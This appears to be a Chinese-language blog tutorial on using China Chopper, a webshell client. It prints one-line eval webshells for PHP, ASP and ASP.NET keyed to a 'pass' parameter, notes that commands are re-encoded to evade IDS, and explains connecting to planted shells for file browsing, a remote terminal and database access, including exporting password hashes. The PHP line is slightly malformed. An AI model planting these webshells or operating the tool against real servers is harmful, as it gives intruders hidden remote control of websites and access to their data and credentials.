中國菜刀使用介紹

一、簡介
服務器只需要簡單的一行代碼,即可用此程序實現常用的管理功能,功能代碼二次編碼後發送,過IDS的能力大幅提高。
目前支持的服務端腳本:PHP、ASP、.NET,並且支持、https安全連接的網站
在服務器端運行的代碼如下:
PHP:<?php @eval($_POST['pass'];?)>
ASP:<%eval request("pass")%>
ASP.NET:<%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>

二、用法
在主視圖中右鍵添加,在彈出的對話框中輸入服務器地址,連接的密碼(注意上例中的pass字串),選擇正確的腳本類型和語言編碼,保存後即可使用文件管理,虛擬終端,數據庫管理三大板塊功能,同時支持自定義的腳本執行,並可以導入導出數據。
1.文件管理:緩存下載目錄,並支持離線查看緩存目錄
2.虛擬終端:人性化設計,操作方便
3.數據庫管理:圖形界面,支持mysql/mssql/orcle/infomix/access以及支持ADO方式連接的數據庫。(各種腳本條件下的數據庫連接方式請點擊數據庫管理界面左上角處的配置按鈕進行查看)
在這裏插入圖片描述

三、配置信息填寫
1. 數據庫方面
PHP腳本:
類型 類型可以爲MySQL、MSSQL、ORCLE、INFOMIX中的一種
主機地址 主機地址可以爲機器名或IP地址,如localhost
數據庫用戶 連接數據庫的用戶名

數據庫密碼

連接數據庫的密碼 示例: ![在這裏插入圖片描述](https://img-blog.csdnimg.cn/2019120417522536.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzM3Nzg2MDE0,size_16,color_FFFFFF,t_70)

ASP和ASP.NET腳本:
類型 類型只能填ADO
ADO配置信息
ADO連接各種數據庫的方式不一樣,如MSSQL的配置信息爲:
Driver={Sql Sever}; Server=(local); Database=master;Uid=sa;Pwd=123456;同時,支持NT驗證登錄MSSQL數據庫,並把哈希的結果列表導出爲html文件

Customize腳本:
類型 類型只能填XDB
與Customize腳本約定的配置信息

四、其他功能
1.爬蟲功能
在這裏插入圖片描述
在這裏插入圖片描述
2. 一句話木馬功能
具體操作見文章https://blog.csdn.net/m0_37786014/article/details/103026823所示

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章